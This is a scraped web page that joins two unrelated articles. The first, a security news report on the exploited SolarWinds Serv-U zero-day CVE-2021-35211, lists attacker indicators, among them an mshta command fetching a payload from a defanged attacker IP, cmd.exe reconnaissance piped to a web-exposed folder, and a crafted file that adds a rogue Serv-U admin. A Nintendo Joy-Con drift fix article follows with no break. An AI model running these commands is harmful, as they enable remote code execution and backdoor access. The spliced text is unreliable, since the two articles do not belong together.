• 144[.]34[.]179[.]162
• 97[.]77[.]97[.]58
• hxxp://144[.]34[.]179[.]162/a
• C:WindowsTempServ-U.bat
• C:WindowsTemptestcurrent.dmp
• The presence of suspicious exception errors, particularly in the DebugSocketlog.txt log file
• C:WindowsSystem32mshta.exe http://144[.]34[.]179[.]162/a (defanged)
• cmd.exe /c whoami > “./Client/Common/redacted.txt”
• cmd.exe /c dir > “.ClientCommonredacted.txt”
• cmd.exe /c “C:WindowsTempServ-U.bat”
• powershell.exe C:WindowsTempServ-U.bat
• cmd.exe /c type \redactedredacted.Archive > “C:ProgramDataRhinoSoftServ-UUsersGlobal Usersredacted.Archive”

Tuesday’s post also provided new technical details about the attack. Specifically:

We observed DEV-0322 piping the output of their cmd.exe commands to files in the Serv-U ClientCommon folder, which is accessible from the internet by default, so that the attackers could retrieve the results of the commands. The actor was also found adding a new global user to Serv-U, effectively adding themselves as a Serv-U administrator, by manually creating a crafted .Archive file in the Global Users directory. Serv-U user information is stored in these .Archive files.

Due to the way DEV-0322 had written their code, when the exploit successfully compromises the Serv-U process, an exception is generated and logged to a Serv-U log file, DebugSocketLog.txt. The process could also crash after a malicious command was run.

By reviewing telemetry, we identified features of the exploit, but not a root-cause vulnerability. MSTIC worked with the Microsoft Offensive Security Research team, who performed vulnerability research on the Serv-U binary and identified the vulnerability through black box analysis. Once a root cause was found, we reported the vulnerability to SolarWinds, who responded quickly to understand the issue and build a patch.

The zero-day vulnerability, which is tracked as CVE-2021-35211, resides in SolarWinds’ Serv-U product, which customers use to transfer files across networks. When the Serv-U SSH is exposed to the Internet, exploits give attackers the ability to remotely run malicious code with high system privileges. From there, attackers can install and run malicious payloads, or they can view and change data.

SolarWinds became a household name overnight in late December when researchers discovered it was at the center of a supply chain attack with global reach. After compromising SolarWinds’ software build system, the attackers used their access to push a malicious update to roughly 18,000 customers of the company’s Orion network management tool.

Of those 18,000 customers, about nine of them in US government agencies and about 100 of them in private industry received follow-on malware. The federal government has attributed the attacks to Russia’s Foreign Intelligence Service, which is abbreviated as the SVR. For more than a decade, the SVR has conducted malware campaigns targeting governments, political think tanks, and other organizations around the world.

The zero-day attacks that Microsoft discovered and reported are unrelated to the Orion supply chain attack.

SolarWinds patched the vulnerability over the weekend. Anyone running a vulnerable version of Serv-U should update immediately and check for signs of compromise.

© Nintendo Life

If you’re desperate to salvage those drifting Nintendo Switch Joy-Con, have watched all the videos online (including our own), and still haven’t had any luck, then why not try this new fix that’s surfaced on YouTube, which is claiming to have solved Joy-Con drift problems once and for all.

VK’s Channel on YouTube identified how the Joy-Con realigns when pressure is applied to the surrounding area of the analog stick. Therefore increasing pressure within the Joy-Con (which loosens over time), makes the drift disappear.

Surprisingly, this fix doesn’t require any technical know-how, but it will require the right tools. All you have to do is open the case and insert a small piece of paper or cardboard (around 1mm) where the analog is located. Yes – it’s that simple. It’s further explained how the prongs inside the controller lose contact with the pads over time and the paper fills the gap and restores pressure.

The YouTuber also notes how their own drifting Joy-Con have been working fine for around two months now, and that the same fix can be applied to the Nintendo Switch Lite. Skip to 5:55 to see the main fix in action.